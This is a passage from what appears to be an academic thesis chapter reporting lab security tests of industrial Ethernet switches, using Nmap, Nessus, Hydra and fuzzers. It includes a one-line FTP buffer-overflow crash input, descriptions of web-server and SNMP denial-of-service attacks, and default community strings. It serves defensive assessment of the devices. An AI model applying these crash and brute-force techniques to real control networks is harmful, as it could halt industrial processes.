Ontime Networks T200 Fieldswitch
The T 200 Fieldswitch is an industrial Ethernet switch manufactured by Ontime Networks (figure 6.3). It supports the Network Time Protocol (NTP) or the new IEEE
P1588 standard for network synchronization. The T200 internal clock is based on an
external GPS receiver as time basis for time stamping incoming and outgoing time packets in hardware at physical layer. It supports SNMP and Internet Group Management
Protocol (IGMP) snooping of multicast traffic.
6.4. ABBS AC 800 M PM 860
81
Figure 6.3: An Ontime industrial ethernet switch.
T200 supports Quality of Service (QoS) based on layer 2 (IEEE802.1p) and layer 3 (Type
of Service)tagging. The IEEE802.1q standards specify an extra field in the Ethernet
MAC header. This additional 3 bit field enables the switch to determine the priority of
the packet. An IP v4 header contains a Type of Service (ToS) field that is partitioned
into two sections. Using this field the switch can determine the priority of the packet.
6.4
ABBs AC 800 M PM 860
The AC 800 M controller is a rail-mounted controller that uses an external power supply
of 24 V. The model we have been working with, the PM 860, has a 48 MHz CPU and 8
MB of RAM of which 5 MB is available for applications. It is equipped with two 10 MBit
Ethernet ports for communication with other controllers and for interaction with human
operators and higher level applications [28]. The controller is depicted in figure 6.4 as
the third entity from the left. The two first entities from the left are power supplies and
the fourth is an I/O unit.
It is also equipped with two RS-232C serial ports. It is programmable through ABB’s
Control Builder application which runs on a MS Windows platform. All communication
between the controller and the control builder uses MMS. It also supports communication over other industrial protocols such as Fieldbus, Industrial Protocol Ethernet and
Profibus.
82
CHAPTER 6. EQUIPMENT
Figure 6.4: ABB’s AC 800 M controller with two power supplies and an I/O unit.
Chapter 7
Test Results
In this chapter we will present our results from testing the devices described in chapter
6 with the tools presented in chapter 6. Each section presents the test results from one
device. We will use the classification defined in section 5.1.2 describe our findings. In
the beginning of each section we summarize our findings to provide an overview of the
security level of tested device, before going into specific details regarding a vulnerability
and all findings are discussed at the end of a section.
7.1
Test for switches.
The test setup for the switches is depicted in figure 7.1. As the primary task of a switch is
to continue switching under any conditions, we set up a continuous ping request between
two IP addresses interconnected by the switch. All our equipment has been tested on a
lab network with network address 193.75.73.0 and subnetmask 255.255.255.0.
We dumped the ping output to file to allow us to grep1 -search the dump file for ICMP
messages indicating that our ping target is unavailable. We use the ICMP Ping function
as an indication of whether the switch is capable of performing its primary task or not.
We will use Nmap and Nessus as reconnaissance tools against the devices and use the
test results to decide what kind of additional tools we will run against the device. These
tools will provide us with information on open ports and running services. Based on this
information we will use additional tools to try to discover vulnerabilities in the devices.
1
Grep is a command line utility written for use with the *nix operating systems. Given a list of files
or standard input to read, grep searches for lines of text that match one or many regular expressions,
and outputs only the matching lines.
83
84
CHAPTER 7. TEST RESULTS
Figure 7.1: The lab setup for testing the primary service of switches.
7.2
Moxa EDS-508
We configured the management interface of the Moxa EDS-508 switch with the IP address 193.75.73.3. We use the test setup described in section 7.1. Our first step in
identifying potential vulnerabilities in the Moxa EDS-508 switch is to find out what services are running on the switch. We use Nmap for this task. The Nmap configuration
used is described in section 5.2.1.
7.2.1
Summary of Moxa test results
In table 7.1 we summarize the test results for the Moxa switch. The switch responds to
packets originating from a multicast address. This indicates that the switch might be
vulnerable from DOS attacks. The switch also runs telnet and SNMP services that send
user names and passwords in clear-text over the network. The class one vulnerability in
HyperText Transfer Protocol (HTTP) does not occur in every test but as it temporarily
stops when it occurs we have included it in our results. We have not included the Mu4000 test results in table 7.1 as we are not able to determine exactly how a vulnerability
manifests itself during a Mu-4000 scan. The remoteanything service remains unidentified
and might also be exploited. One of the tools also indicates that the web server has a
serious vulnerabilities that might allow arbitrary code execution.
7.2.2
Nmap scan
The result of the Nmap scan is depicted below. We see from the results of the scan that
there are several services running on the switch. We have chosen to remove the fingerprint
of the unrecognized service that Nmap identified as this gives little information to the
reader.
7.2. MOXA EDS-508
Service
Telnet
HTTP
HTTPS
SNMP
remoteanything
Total
85
Class one
0
1
0
0
0
1
Class two
1
0
0
0
0
1
Class three
1
1
1
1
0
4
Table 7.1: The table summarizes the test results from the Moxa EDS-508 switch using
the classification defined in section 5.1.2.
Nmap identifies a GoAhead-Webs embedded httpd web server running on ports 80 and
443. From Internet Assigned Numbers Authority (IANA) [IAN07], we know that port
80/TCP is assigned to World Wide Web and HTTP traffic. Port 443/TCP is assigned
to HTTP protocol over TLS/SSL.
Starting Nmap 4.10 ( http://www.insecure.org/Nmap/ ) at 2007-03-13 10:06 CET
Interesting ports on 193.75.73.3:
Not shown: 1675 closed ports
PORT
STATE SERVICE
VERSION
23/tcp
80/tcp
443/tcp
4000/tcp
open
open
open
open
telnet
http
http
remoteanything
(GoAhead-Webs embedded httpd)
(GoAhead-Webs embedded httpd)
1 service unrecognized despite returning data.
MAC Address: 00:90:E8:09:ED:F7 (Moxa Technologies)
Nmap finished: 1 IP address (1 host up) scanned in 130.995 seconds
We see that there is a telnet service running on port 23 over TCP. Telnet is a service
that provides interactive login to Unix and other systems. On port 4000/TCP Nmap
finds an open port with the service description remoteanything running there. According
to Nmap’s documentation [Nma07] port 4000/TCP maps to Neoworx Remote-Anything
Slave Remote Control, but we have not been able to find any further information on this,
apart from what the name indicates. We find nothing in the documentation indicating
what kind of this service is.
Nmap also finds one unrecognized service that returns data. When experimenting with
Wireshark, we found an SNMP service running on port 161, so we have identified the un-
86
CHAPTER 7. TEST RESULTS
recognized service. As we shown, many industrial devices uses a special implementation
of SNMP, so that might be the reason why Nmap is unable to identify the service.
Nmap also give us the name of the company assigned this block of MAC Addresses,
Moxa Technologies.
7.2.3
Nessus Scan
To gain more information about the switch and test it for known vulnerabilities, we
ran Nessus against the switch. Nessus is a remote security scanner and is described in
section 5.2.2. The full Nessus report is included in appendix B, but we will give a brief
summary here.
Nessus reports that the switch answers to TCP packets coming from a multicast address.
Allowing such multicast traffic might make the switch vulnerable to the ’spank’ DOS
attack. Through this attack an attacker might be able to shut down the switch and
saturate the network. This could also be used to run stealth scans undetected against
the switch.
Nessus comments that the switch is running a telnet server and that using telnet is not
recommended as logins, passwords and commands are transferred in clear text over the
network. An attacker may eavesdrop on a telnet session and obtain the credentials of
other users.
As we know from the Nmap scan the switch runs a web server on ports 80 and 443.
Nmap identified the web server to be a GoAhead-Webs embedded httpd web server. The
Nessus scan provides us with the additional information of the version number of the
web server, which is GoAhead-Webs version 2.1.8
Nessus states that the web server is [mis] configured on port 443, as it does not return
”404 Not Found ” error codes when a non-existent file is requested. And notifies us of the
possibility the web server under certain conditions might be manipulated into returning
an access restricted page.
Nessus reports that it is able to kill the web server by sending an invalid ’infinite’ HTTP
request that never ends. Nessus also crashes the web server by sending an invalid POST
HTTP request with a negative Content-Length field. An adversary might exploit both
these vulnerabilities to make the web server crash continually, disable the service or
execute arbitrary code on the system.
Nessus also identifies the SNMP service on port 161, which Nmap did not recognize.
But fails to identify the remoteanything service.
The SNMP server running on the switch replies to the following default SNMP community strings public and private. A SNMP community string is a common password used
as access control for a community of SNMP users with the same access rights[46]. An
attacker may use these default strings to gain more knowledge about the switch and the
7.2. MOXA EDS-508
87
topology of the network, or to change the configuration of the switch. Nessus extracted
the following information from the switch.
• sysDescr : Moxa EDS-508
• sysObjectID : 1.3.6.1.4.1.8691.7.1
• sysUptime : 0d 1h 3m 33s
• sysContact : [email protected]
• sysName : M-01
• sysLocation : NOCRC Ethernet Lab
• sysServices : 2
Nessus reports that the switch became unresponsive during the scan, and displays a list
of possible reasons for this in the report found in section B. But as we have eliminated
all other possibilities we are left with the reason that a selected denial of service was
effective against the switch. We had to restart the switch to re-enable the services. The
switch stops switching temporarily during some nessus scans but resumes the switching
operation again after a while. This behavior does not occur during every scan and we
have not been able to determine exactly what triggers the crash, but it seems to be
related to the webserver.
7.2.4
Hydra
We ran the parallelized login cracker, Hydra, described in section 5.2.4, against the
telnet service on the Moxa switch. From the homepages and documentation publicly
available at Moxa Technologies we know that the username for telnet is admin. We
therefor configured Hydra to use this username when attempting to bruteforce the telnet
service. As Hydra uses dictionaries to bruteforce the password, we gathered a collection
of dictionaries and known passwords lists from various sites on the Internet and used
these as input to Hydra.
Hydra reported many positives during the attack. As we assumed the role of hacker
in this test, we did not know the correct password to log on to the telnet service. But
when we attempted to log on the switch using one of the positives we got the following
response from the switch.
linux-lab:/etc/init.d\$ telnet 193.75.73.3
Trying 193.75.73.3...
Connected to 193.75.73.3.
Escape character is ’^]’.
Console is used!
Connection closed by foreign host.
88
CHAPTER 7. TEST RESULTS
As seen above, the switch closes the connection and gives the reason that the console
is used. It seems that the telnet service refuses to accept new incoming telnet sessions
after our attack. We tried to telnet both from our on IP address and from an other
IP address on the same network. The telnet service remained unresponsive until we
powered of the switch and restarted it. We wished also to test if there were any timing
mechanism attached to this feature. On our second test we left the switch alone over
night after the attack to see if the telnet service was reinitialized. The telnet service was
still unresponsive after approximately eight hours.
Whether this behavior is a bug or a security feature in the switch is impossible to say
for certain. It could be a security feature which suspends the service after a given
number of failed log in attempts, but there is no mention of any security features in the
documentation, and as it also blocks other IP addresses, we feel that we have identified
a bug in the switch’s telnet service.
The switch continued to switch traffic both under and after the attack, thus performing
its primary task.
7.2.5
Mu-4000 Scan
We have included the overview report from the Mu-4000 scan of the switch in section
B.3. The The Mu-4000 scan included attack vectors from the following protocols:
• ARP
• CDP
• ICMP
• IPv4
• OSPF
• PIM SM/DM
• SNMP
• TCP
• UDP
We ran two scans, as you can see in the report in appendix/section B.3, the first scan
contained all protocol listed above except UDP. The second scan was a pure UDP scan.
Mu-4000 reports finding thirteen faults in the first scan and fifteen in the second. All
faults in the first scan relates to GetBulk messages in SNMP V2c. The faults arise
from the Mu-4000’s manipulation of values in the RequestID, Non-Repeaters and Max
Repetitions fields of SNMP V2c GetBulkRequest messages. If we study the report of the
first scan closely we discover that the column Isolation give different isolation values for
different faults. We see that, e.g., fault number one is isolated down to a single attack
7.2. MOXA EDS-508
89
vector, but fault number five can not be linked to a specific vector but is a result of
sending the a range of attack vectors against the target.
The second scan reports faults in the switches handling of UDP messages with misaligned, invalid or overflow values in the options field of an IP package. The IP timestamp
option is IP option number 4 and is used to record the time stamps of hosts between
source and sender of the IP package. There are also different isolation values in this test
report.
7.2.6
Moxa Discussion
We have found several vulnerabilities on this switch. We will now give a brief discussion
of the vulnerabilities, consequences and possible security risk mitigations. We have
summarized the test results in table 7.1 in section 7.2.1. Table 7.2 displays which tools
identified and reported potential vulnerabilities on the different services. We observe that
neither Nessus nor Nmap identifies all services running on the switch. This is probably
due to the use of different signature sets. It is interesting to note that only Nmap detects
the open port 4000 over TCP. We have been unable to detect what service is hidden
behind Nmap’s remote anything label. We have tried to Telnet to this port and used
Netcat but the service behind this port is still unknown. Not knowing the propose of
the service we feel that is should be disabled in a production environment.
Telnet
HTTP
HTTPS
SNMP
UDP
4000/TCP
Moxa EDS-508
Nmap Nessus
X
X
X
X
X
X
X
X
Hydra
X
Mu-4000
X
X
Detected
Risk
X
X
X
X
X
X
Table 7.2: The table displays an overview of which tools detected which services and
also indicates if a service is consider vulnerable by the tools.
Nmap provides us with a overview of the switch. Through Nmap we learn that the
MAC address block belongs to Moxa Technologies. An adversary may perform a quick
search on the Internet to get a clear indication on what kind of equipment she is dealing
with. Even though the information leak is small it provides a starting point for further
reconnaissance and narrows the search field. Nmap does not recognize the SNMP service
running on port 161, but Nessus detects it. The information leak continues as the
information obtainable through the default SNMP community strings provides all with
the exact type of switch, MOXA ESD-508.
We managed to disable the telnet service, by attempting to bruteforce the login pro-
90
CHAPTER 7. TEST RESULTS
cedure. The telnet service became unresponsive after this attack, but the switching
process continued. As username and password is sent in clear-text, an adversary might
eavesdrop on a telnet session and gain user credentials without resorting to brute force.
We feel that the telnet service should be replaced by a Secure Shell (e.g., SSH).
Nessus reports that the switch accepts traffic from multicast addresses. Multicast snooping is built in as a feature in this switch, and it can, according to Nessus, be exploited
in a DOS attack. We feel that unless the multicast service is explicitly used by the
production network this feature should be turned off.
With the additional information of the name of the web server, GoAhead-Webs embedded
httpd, we found two bug reports for this web server [Goa04a] [Goa04b]. [Goa04a] is the
same resource consumption bug as Nessus reported, with a minor difference. This is
also an attempt to consume all the web server’s resources, but here the attacker uses the
HTTP POST method with a specific positive number in the Content-Length parameter
of the request instead of a negative number. Then the attacker will send an amount
of data minor to the one specified in the HTTP POST. The server will allocate all the
data sent by the attacker and wait for the last bytes as specified by Content-Length.
Then the attacker will break the connection without closing the socket. The server will
then enter an infinite loop because the socket’s error is not well managed in the switch
[Goa04a]. As the socket is not closed by the server, all the memory allocated until that
moment will not be freed and the CPU will go to 100% due the infinite loop. [Goa04a]
also contains a exploit code for this attack. We do not know if this also involves the
switching memory in the switch, as it in some cases does during a Nessus scan. If that
is the case the whole switching process could shut down by this exploit also, but due
to time constrains we have not tested this. The current version of the switch firmware
must contain the vulnerable webserver as Nessus is still able to crash the web server
using an attack similar to the one in [Goa04a]. Nessus reports that the web server is a
GoAhead-Webs version 2.1.8, which is the same version as the bug exploits.
We have been unable to determine exactly what race condition that causes the switch to
suspend the switching operation even though we have made several attempts, but it is
clearly a serious vulnerability. Even in the cases where the switching operation continues
the Nessus scan actually crashes the rest of the switch, disabling all IP based services.
The technical know-how required to run a Nessus scan is little to none and could be
done by any script kid. Nessus also indicates that the web server has serious vulnerabilities that might allow arbitrary code execution. The possibility of code execution
on a industrial device is horrendous as an adversary potentially could interrupt critical
communication, install spam clients or take down the entire network in a distributed
DOS attack.
When the switching function is intact, the loss of management functions is not critical
and the production process might continue for some time allowing for a controlled shutdown and restart of the switch. We wish through this to point out that there evidently
is lack of understanding of security issues in the automation world as these bugs were,
7.3. HIRSCHMANN MM3-4TX1-RT
91
according to [Goa04b], identified in 2002 and the exploit code was made public in 2004.
We are now in 2007 and Nessus still takes down the web server through the same bug.
It is clear that patch management has failed somewhere between the producer of the
webserver and the manufacturer of the switch.
The Mu-4000 findings indicates faults in the handling of SNMP GetBulk messages. It
also reports error in UDPs handling of IP packages with manipulated IP option fields.
We have not found the time to test these faults ourselves so we are uncertain of how
these faults affect the switch’s switching capabilities. We also note that the Mu-4000 give
different isolation values on some of the faults. We therefore recommend that the SNMP
and UDP service should be patched or upgraded, as it is uncertain what an attacker
might be capable of doing through the detected vulnerabilities.
To reduce the security risks we recommend that all unused services on the switch are
shut down and the web server patched. From reading the documentation we found that
the switch may be configured by a serial interface, which might temporarily replace
the telnet service until a more secure solution included in the firmware. We wish to
make a final observation, the documentation states that in the default configuration the
password is not set. This could possibly indicate that many switches are in operation
today without a password protecting the management interface.
7.3
Hirschmann MM3-4TX1-RT
We configured the management interface of the Hirschmann MM3-4TX1-RT switch
with the IP address 193.75.73.8. We will denote Hirschmann MM3-4TX1-RT switch
as Hirschmann MM3 in this section. To map running services on the switch we used
Nmap. The Nmap configuration used is described in section 5.2.1.
7.3.1
Summary of Hirschmann MM3 Test Results
In table 7.3 we summarize the test results for the Hirschmann MM3 switch. The switch
is vulnerable to several SNMP requests. These requests crashes the switching process
on the switch. To resume normal operation the switch must be restarted. We have not
included the Mu-4000 test results in table 7.3 as we are not able to determine exactly
how a vulnerability manifests itself during a Mu-4000 scan.
7.3.2
Nmap
The Nmap scan produced the result below. The Nmap scan identified an apt-proxy httpd
web server running on port 80 over TCP. We know that there is an SNMP service running
on the Hirschmann MM3 switch but Nmap seems unable to detect it. Nmap proposes
several identities for the embedded device type but is unable to draw any conclusions.
92
CHAPTER 7. TEST RESULTS
Service
SNMP
HTTP
NTP
Total
Class one
1
0
0
1
Class two
1
0
0
1
Class three
1
0
0
1
Table 7.3: The table summarizes the test results from the Hirschmann MM3-4TX1-RT
switch using the classification defined in section 5.1.2.
As we are testing industrial devices it is quite possible that the Nmap database does not
contain the fingerprint of these operating systems.
We see that Nmap does provide us with the owner of the MAC address block, and
thereby the producer of the switch.
Starting Nmap 4.10 ( http://www.insecure.org/Nmap/ ) at 2007-03-13 10:18 CET
Interesting ports on 193.75.73.8:
Not shown: 1678 closed ports
PORT
STATE SERVICE VERSION
80/tcp open http
apt-proxy httpd
MAC Address: 00:80:63:18:29:4C (Richard Hirschmann Gmbh & CO.)
Device type: terminal server|WAP|telecom-misc|specialized|remote management
Running: Copper Mountain embedded, 3Com embedded,
TrueTime embedded, Compaq embedded
OS details:
Embedded device: HP Switch, Copper Mountain DSL Concentrator,
Compaq Remote Insight Lights-Out remote console card,
3Com NBX 25 phone system or Home Wireless Gateway,
or TrueTime NTP clock
Nmap finished: 1 IP address (1 host up) scanned in 18.701 seconds
7.3.3
Nessus Scan
To gain more information about the switch and test it for known vulnerabilities, we ran
Nessus against the switch. The full Nessus report is included in appendix C, but we will
7.3. HIRSCHMANN MM3-4TX1-RT
93
give a brief summary here.
Nessus identifies the web server running on port 80 over TCP, but finds no known
security holes on the web server.
Nessus detects an Network Time Protocol (NTP) server is listening on port 123 over
UDP. As the switch answers to an ICMP timestamp request, an attacker might learn
the exact time and date set on your machine.
Nessus states that it is possible to disconnect the remote host by sending it an ICMP
echo request packet containing the string +++ATH0 and that it is possible to make the
remote modem hangup or dial a phone number [The07a].
This is obviously a false positive from nessus as the Hirschmann MM3 does not contain
a modem.
Nessus also identifies the SNMP service running on port 161. Nessus reports that the
switch responds to default community names and obtains the following information
through SNMP.
System information :
sysDescr
: Hirschmann Modular Industrial Communication Equipment
sysObjectID : 1.3.6.1.4.1.248.14.10.4
sysUptime
: 4d 21h 55m 6s
sysContact
: Hirschmann Electronics GmbH & Co. KG
sysName
: Hirschmann MICE
sysLocation : Hirschmann MICE
sysServices : 2
7.3.4
Protos Project Test Suite
We ran the Protos test suite against the SNMP service running on the switch. We used
the test setup described in section 7.1 and the configuration options for Protos described
in section 5.2.5. When reviewing the dump files from Protos and ping dump. We found
the following. The Protos test suite did not finish the tests as the SNMP service crashed
sometime during the tests. It crashes around test 2550 but it is not possible to determine
exactly which test as it seems to stop at a different test each time. But before it crashes
it identifies several test cases which fails to respond to the zerocase in the logfile. The
SNMP service as well as all other IP based services became unresponsive after the test.
We looked into the ping log and found that the switch stopped switching traffic. We also
noticed that the switches status light for failure flashed. The switch had to be restarted
to assume normal operations.
94
7.3.5
CHAPTER 7. TEST RESULTS
Mu-4000
We know that the switch crashes when tested with the Protos test suite. But as we
where unable to pinpoint exactly which test case that crashed the switch, we wished
to do a thorough test of the Hirschmann MM3 switch with the Mu-4000 to try to
exactly determine the SNMP vulnerability. We set up several tests for the IP and SNMP
protocols. We wanted to run tests with several different timeout- and delay parameters,
these parameters are described in table 7.4.
Test
IP test 1
IP test 2
IP test 3
SNMP test 1
SNMP test 2
Delay
0 ms
0 ms
0 ms
0 ms
200 ms
Timeout
100 ms
20 ms
500 ms
500 ms
2000 ms
Table 7.4: The table displays the timeout- and delay parameters used in the Mu-4000
test of the Hirschmann switch.
The full Mu-4000 report is included in appendix C.3. In the report we discover the
following. The switch passed all our test of the IP protocol regardless of the delay and
timeout parameters. The first SNMP test reports the following:
Nr Fault
Range
1. SNMP Get Bulk Messages (v2c) pdu.sequence.get-bulk.maximum-repetitions.values
27-36
2. SNMP Get Bulk Messages (v2c) pdu.sequence.get-bulk.maximum-repetitions.values
37
3. SNMP Get Bulk Messages (v2c) pdu.sequence.get-bulk.maximum-repetitions.values
40
We found three faults all related to the maximum repetitions field of a SNMP v2c GetBulk PDU. The maximum repetitions field is the maximum number of instances to be
returned for the remaining elements in the Varbind list of an SNMP Get-Bulk request[46].
We note that the Mu-4000 report states that this SNMP test failed for some unknown
reason and did not run to completion. Now if we move on to the next SNMP test with
longer delay and timeout values, as given in table 7.4, we find the following:
Nr Fault
1. SNMP Get Bulk Messages (v2c) -
RANGE
7.3. HIRSCHMANN MM3-4TX1-RT
pdu.sequence.get-bulk.length.overlong
2. SNMP Get Bulk Messages (v2c) pdu.sequence.length.overlong
95
644-645
543-544
3. SNMP Get Messages (v1) pdu.sequence.get.variablebindings.variable0.length.overlong
4. SNMP Get Next Messages (v1) pdu.sequence.get-next.request-identifier.length.overlong
83-84
495-496
We see that the Mu-4000 identifies four faults. But in this case we find that none of the
four faults relates directly to the faults found in the previous test. In this test, the two
first faults are found in the same protocol message and protocol version as the previous
test, the SNMP version 2c Get-Bulk message, but the Mu-4000 does not relate the fault
to the same fields. The faults here are found in the length field, not in the maximum
repetitions field as indicated in the previous test. We also find two faults in SNMP
version 1 Get and Get-Next protocol messages. These faults might be two of the faults
identified by the Protos test suite.
7.3.6
Hirschmann Discussion
We have summarized the test results in table 7.3 in section 7.3.1. We found one class
one SNMP vulnerability that takes down the switch. As stated earlier there are several
SNMP messages that have similar effect on the switch. We have chosen to denote this as
one class one SNMP vulnerability even though they appear on different protocol versions.
It would seem that both Protos and the Mu-4000 use the similar vulnerability to take
down the switch. This indicates that several SNMP protocol versions contain the same
vulnerability. A vulnerability that crashes the switch can be used as an effective way of
interrupting all communication on a DCS network. It is therefore beyond doubt that the
Hirschmann MM3 switch needs a new SNMP stack, as the current one fails on several
account.
Table 7.5 shows which tools detect the services running on the Hirschmann MM3. We
have included the Modem service that Nessus identified in the table, but it is not classified
as a risk as there is no modem on the switch. This is a false positive from Nessus, but
which service Nessus identifies as a modem remain unknown as Nmap only detects the
web server. Both Nmap and Nessus detects that the Hirschmann MM3 runs a web
server, but as Nessus does not report any vulnerabilities, so this is not classified as a
risk. This does not mean that the web server is flawless, it only means that Nessus cant
find it.
Nessus detects the SNMP service, and stat that the well known community strings in
SNMP provides access to the internal information in the switch. It also retrieves the
96
CHAPTER 7. TEST RESULTS
HTTP
SNMP
Modem
NTP
Hirschmann MM3-4TX1-RT
Nmap Nessus Protos Mu-4000
X
X
X
X
X
X
X
Detected
Risks
X
Table 7.5: The table displays an overview of which tools detected which services and
also indicates if a service is consider vulnerable by the tools.
information stored in the SNMP system group. Nessus finds no vulnerabilities in the web
server. The fact that Nessus produces a false positive and identifies a nonexistent modem
makes us wonder what kind of service Nessus has been communicating with. There
might be some service on the switch responding to the exploit in some similar manner
and thereby producing the false positive, but we have not been able to determine the
service. The exploit nessus is referring to is an old exploit of dial-up modems using the
Hayes Command set. This exploit allows remote attackers to execute arbitrary modem
commands or create a DOS state in the modem. More information regarding the exploit
and Heyes Command set can be found at [The07a] and [The07c]. This might raise some
concern to whether Nessus is an appropriate tool to scan industrial devices with.
The fact that there is a NTP server running on the switch is not a risk in it self, but
it might help an attacker to defeat potential timebased authentication protocols which
might be running on the device or leak some information about the device type through
the format of the answer as nessus states that the NTP server running on the switch
returns non-standard timestamps (high bit is set).
The fact that the Protos test suite crashes switch, should render it useless in an industrial network from a security point of view. As most such network contain the same
switchtype, virtually all switches in the network would be vulnerable to the same potential exploit. An attacker could take down the entire network and causing a shutdown of
the plant.
The Protos bugs have been known for a very log time makes this even worse as anyone
with access to the network could download Protos and take down the network switch by
switch. By spending to time doing reconnaissance you could identify critical switches
in the network. Redundant ring structures and other reliability measures used in the
automation world won’t work if several switches in the ring are down.
The Mu-4000 reports are contradictory as they do not identify any of the same faults.
We note that the timeout and delay values directly effect the results we get from the
Mu-4000. The divergent results might come from fact that the first SNMP test did not
run to completion, but we still find a bit strange. At the best, this means that all faults
found with a short delay and timeout might be to demanding for a embedded system
to process within the given time frame. This indicates that all Mu-4000 SNMP tests
7.4. ONTIME FS200
97
must be configured with a generous timeout and delay. It might also indicate that other
protocols tested with Mu-4000 should be allow long timeout and delays, on the other
hand it is unlikely that an attacker will allow the device long timeout and delays when
searching for a vulnerabilities. We feel that all faults found with any tool regardless of
timeout and delay values should be verified and dealt with properly as they might be
exploited in some other manner which could have serious consequences for the overall
network.
7.4
Ontime FS200
We configured the Ontime Networks FS200 switch with the IP address 193.75.73.20. To
identify the services running on the switch, we ran Nmap. The Nmap configuration used
is described in section 5.2.1.
7.4.1
Summary of Ontime FS200 Test Results
In table 7.6 we summarize the test results for the Ontime FS200 switch. We have found a
vulnerability report on Security Space [Sec07] stating that the FTP server is vulnerable
to a buffer overflow exploit. The vulnerability crashes the FTP server. We have not
found the time to test this vulnerability in our thesis and it is therefore not included in
table 7.6. The switch uses the FTP server for firmware upgrades. We discovered that
the switch allows anonymous logon to this service. This raises the question of how the
switch processes a firmware upgrade and what damage an attacker could to accomplish
by uploading a malicious binary. It is also possible to force the FTP server to connect
to other hosts. This could be used to deliver malicious payloads to third parties.
Service
SNMP
FTP
RPC
Telnet
IP
NTP
Total
Class one
0
0
0
0
0
0
0
Class two
1
1
0
1
1
0
4
Class three
1
2
0
1
0
0
4
Table 7.6: The table summarizes the test results from the Ontime FS200 switch using
the classification defined in section 5.1.2.
We are able to crash the Telnet service through a buffer overflow vulnerability. We will
show that a DOS attack crashes all IP based services on the switch, and that the switch
must be restarted to resume these services.
98
CHAPTER 7. TEST RESULTS
We have discovered that the community string authentication in SNMP is not implemented, as any community string gives us full write access to the switch. This gives
anyone write access to the SNMP MIB. We can force the VxWorks operating system
to reboot using SNMP requests. This leaves the switch’s application level services unresponsive for a long period of time. We have not included the Mu-4000 test results in
table 7.6 as we are not able to determine exactly how a vulnerability manifests itself
during a Mu-4000 scan.
7.4.2
Nmap
The results from the Nmap scan can be seen below. Nmap found three services running
on the switch, in addition to the unrecognized service. Nmap finds Telnet on port 23
over TCP. An FTP server on port 21 over TCP running a VxWorks ftpd 5.4 FTP server.
It finds port 111 over TCP open with the service rpcbind version 2 running. Remote
Procedure Call (RPC) routines allow, e.g., C programs, to make procedure calls on other
machines across the network. Rcpbind is the name of a daemon that is used on SUN
systems. It listens for incoming RPC calls and redirects the call to the port number
designated for the RPC server2 . Rcpbind provides a mapping from a service name to
the port number the service is running on. So to contact a RPC server the RPC client
uses rcpbind as an intermediary acquiring the servers real port number in the process.
Afterwards the client sends another request to the RPC server.
Starting Nmap 4.20 ( http://insecure.org ) at 2007-03-14 08:53 CET
Interesting ports on 193.75.73.20:
Not shown: 1694 closed ports
PORT
STATE SERVICE
VERSION
21/tcp open ftp
VxWorks ftpd 5.4
23/tcp open telnet
111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000)
1 service unrecognized despite returning data.
MAC Address: 00:07:7C:00:06:9C (OnTime Networks)
Device type: broadband router|switch|printer
Running: Ambit embedded, HP embedded, Xerox embedded
OS details: AMBIT DOCSIS 2.0 Cable Modem hardware v4.7,
HP Procurve 2524 switch, HP Procurve 2650 switch
or Xeros Phaser 8550DT printer, Xerox Phaser 6350DT printer
2
The OS will assign an unused port to the RPC server when the server is started. This server will
then register it’s port number in rpcbind. If a server need a privileged port, that is root privileges, it
picks and registers an unassigned, low-numbered port and registers this at rpcbind [12]
7.4. ONTIME FS200
99
Network Distance: 1 hop
Service Info:
OS: VxWorks
OS and Service detection performed.
Nmap finished: 1 IP address (1 host up) scanned in 208.692 seconds
The Nmap reports that the RPC program number3 is 100000. Rpcbind must announce
its own program number as communication with rpcbind uses RPC. On Linux the RPC
service number 100000 is provided by a program called Portmapper, but as VxWorks
is a UNIX-based system rpcbind is the UNIX based equivalent. From the man page4
of Portmap we learn that RPC Portmapper is a server that converts RPC program
numbers into TCP/IP (or UDP/IP) protocol port numbers, so it has the same function
as rpcbind.
7.4.3
FTP Service
We know from the Nmap scan that the Ontime fieldswitch runs a VxWorks ftpd 5.4 FTP
server. A FTP daemon lets you upload and download files. When googeling this FTP
server, we find many references to buffer overflow vulnerabilities in this FTP server, e.g.,
[Sec07]. This states that it is possible to make the remote FTP server crash by issuing
this command:
CEL aaaa[...]aaaa where string is 2048 bytes long.
This can be done with e.g., Netcat. We found that this vulnerability affects VxWorks
ftpd versions 5.4 and 5.4.2 [Sec07]. According to Nmap the switch currently runs ftpd
version 5.4 and therefore is vulnerable to this buffer overflow exploit.
When reading the documentation we found out that the switch allows anonymous logon
through the user anonymous, using any email address as password. In fact, the documentation states that the anonymous account should be used when upgrading the firmware
on the switch. According to the documentation firmware upgrades are done through
FTP, by uploading a firmware binary to the switch, using the anonymous account. This
indicates that anyone with network access can log onto the switch over FTP.
We have been unable to find out, if the switch will accept any binary uploaded over FTP.
We have not tried this as there is a limited supply of Ontime Fieldswitches at ABB’s lab
3
The RPC program number is the number that identifies the RPC service[12].
The man command is a interface to the reference manuals on *nix systems. All UNIX and Unix-like
operating systems (*nix) have extensive documentation available through man pages which is short for
”manual pages”). The command used to display them is man.
4
100
CHAPTER 7. TEST RESULTS
and we feared that it might destroy the operating system on the switch. We therefore
contacted the producers of the switch, asking if any binary which might be uploaded
over FTP to the switch might be executed as a firmware upgrade. They denied this, but
would not provide us with any information on how they validate a firmware upgrade or
separate a valid binary from an invalid binary file. We fear that a skilled attacker might
construct a malicious firmware upgrade that might pass the validation and be executed
on the switch. They also refused to provide us with the password and username for the
telnet account, as they state that this account is only used for debugging purposes and
therefor they do not provide us with this information. As this switch runs a full VxWorks
operating system this switch is a prime target for network exploitation and should be
protected properly. We therefore recommend that this avenue of attack is investigated
further, but time and equipment does not permit us to do so in this thesis.
7.4.4
Telnet Service
We used a normal linux box to try to log on to the telnet service. We found that login
times out after 60 seconds, but through testing we discovered that you are allowed to
try as many logon attempts as you wish, as long as you do not remain inactive for more
that 60 seconds. This enables the possibility of a bruteforce attack on the authentication
procedure of the switch. We will explore this option further in the next section. Telnet
sends username and password as clear-text over the network, thus disclosing the user
credentials to eavesdroppers.
7.4.5
Nessus with Hydra Plugin Scan
To gain more information about the switch and test it for known vulnerabilities, we ran
Nessus against the switch. The full Nessus report is included in appendix D, but we
will give a brief summary here. The Nessus scan detected the following. Port 21 and 23
was detected as being open when the scan started, but became unresponsive during the
scan. This means that some Nessus test probably crashed these services.
Nessus ran a buffer overflow test against the telnet server and the server became unresponsive. In this test Nessus detects that the service does not return the expected
number of replies when receiving a long sequence of ”Are You There” commands. This
probably means that one of the internal buffers overflows and the service crashes. Nessus
warns us that an attacker could abuse this bug to gain control over the remote device’s
superuser.
We installed the Hydra plugin for Nessus and used it to do a bruteforce attempt on the
FTP service. Nessus found the following vulnerabilities on the FTP server. The Hydra
